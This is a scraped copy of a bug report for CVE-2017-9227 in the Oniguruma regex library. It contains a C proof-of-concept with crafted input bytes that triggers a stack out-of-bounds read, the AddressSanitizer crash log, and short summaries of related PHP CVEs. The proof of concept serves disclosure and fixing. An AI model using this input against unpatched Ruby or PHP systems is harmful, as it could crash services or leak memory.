Headline
CVE-2017-9227: Bug in mbc_enc_len · Issue #58 · kkos/oniguruma
An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A stack out-of-bounds read occurs in mbc_enc_len() during regular expression searching. Invalid handling of reg->dmin in forward_search_range() could result in an invalid pointer dereference, as an out-of-bounds read from a stack buffer.
The buffer overflow is found with the following code:
#include <stdio.h> #include “oniguruma.h”
static int search(regex_t* reg, unsigned char* str, unsigned char* end) { int r; unsigned char *start, *range; OnigRegion *region;
region = onig_region_new();
start = str; range = end; r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE); if (r >= 0) { int i;
fprintf(stderr, "match at %d (%s)\\n", r,
ONIGENC\_NAME(onig\_get\_encoding(reg)));
for (i = 0; i < region->num\_regs; i++) {
fprintf(stderr, "%d: (%d\-%d)\\n", i, region->beg\[i\], region->end\[i\]);
}
} else if (r == ONIG_MISMATCH) { fprintf(stderr, "search fail (%s)\n", ONIGENC_NAME(onig_get_encoding(reg))); } else { /* error */ char s[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(s, r); fprintf(stderr, "ERROR: %s\n", s); fprintf(stderr, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg))); return -1; }
onig_region_free(region, 1 /* 1:free self, 0:free contents only */); return 0; } static int exec(OnigEncoding enc, OnigOptionType options, char* apattern, char* apttern_end, char* astr, char* end) { int r; regex_t* reg; OnigErrorInfo einfo; UChar* pattern = (UChar* )apattern; UChar* str = (UChar* )astr;
onig_initialize(&enc, 1);
r = onig_new(®, pattern, apttern_end, options, enc, ONIG_SYNTAX_DEFAULT, &einfo); if (r != ONIG_NORMAL) { char s[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(s, r, &einfo); fprintf(stderr, "ERROR: %s\n", s); return -1; }
r = search(reg, str, end);
onig_free(reg); onig_end(); return 0; } int main() { regex_t *reg; unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 }; unsigned char input[] = { 0x6a, 0x00, 0x01, 0x6c, 0x7b, 0x00, 0x01, 0x6c, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x6a, 0x00, 0x01, 0x6c, 0x7b, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x7d}; int r = exec( ONIG_ENCODING_UTF8,ONIG_OPTION_IGNORECASE , (char*)input,input+95, (char*) str,str+7 ); return 0; }
asan error can be found:
==7085==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffed35e53c7 at pc 0x00000045e958 bp 0x7ffed35e4df0 sp 0x7ffed35e4de0
READ of size 1 at 0x7ffed35e53c7 thread T0
#0 0x45e957 in mbc_enc_len /home/xie/Downloads/oni/oni-asan-dev/src/utf8.c:66
#1 0x455c8d in forward_search_range /home/xie/Downloads/oni/oni-asan-dev/src/regexec.c:3162
#2 0x457c56 in onig_search /home/xie/Downloads/oni/oni-asan-dev/src/regexec.c:3614
#3 0x401138 in search /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:18
#4 0x401776 in exec /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:65
#5 0x401b41 in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:81
#6 0x7f6fd15bd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#7 0x400f58 in _start (/home/xie/Downloads/oni/oni-asan-dev/test/testc+0x400f58)
Address 0x7ffed35e53c7 is located in stack of thread T0 at offset 39 in frame
#0 0x40185f in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:71
This frame has 2 object(s):
[32, 39) 'str' <== Memory access at offset 39 overflows this variable
[96, 191) 'input'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/xie/Downloads/oni/oni-asan-dev/src/utf8.c:66 mbc_enc_len
Shadow bytes around the buggy address:
0x10005a6b4a20: 00 00 00 00 00 00 00 00 00 00 00 02 f3 f3 f3 f3
0x10005a6b4a30: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x10005a6b4a40: 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4 f2 f2 f2 f2
0x10005a6b4a50: 00 00 00 f4 f2 f2 f2 f2 00 00 00 00 00 00 00 00
0x10005a6b4a60: 00 00 00 02 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00
=>0x10005a6b4a70: 00 00 00 00 f1 f1 f1 f1[07]f4 f4 f4 f2 f2 f2 f2
0x10005a6b4a80: 00 00 00 00 00 00 00 00 00 00 00 07 f3 f3 f3 f3
0x10005a6b4a90: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x10005a6b4aa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005a6b4ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005a6b4ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==7085==ABORTING
Related news
spl_array.c in the SPL extension in PHP before 5.5.37 and 5.6.x before 5.6.23 improperly interacts with the unserialize implementation and garbage collection, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and application crash) via crafted serialized data.
The phar_make_dirstream function in ext/phar/dirstream.c in PHP before 5.6.18 and 7.x before 7.0.3 mishandles zero-size ././@LongLink files, which allows remote attackers to cause a denial of service (uninitialized pointer dereference) or possibly have unspecified other impact via a crafted TAR archive.
The cdf_check_stream_offset function in cdf.c in file before 5.19, as used in the Fileinfo component in PHP before 5.4.30 and 5.5.x before 5.5.14, relies on incorrect sector-size data, which allows remote attackers to cause a denial of service (application crash) via a crafted stream offset in a CDF file.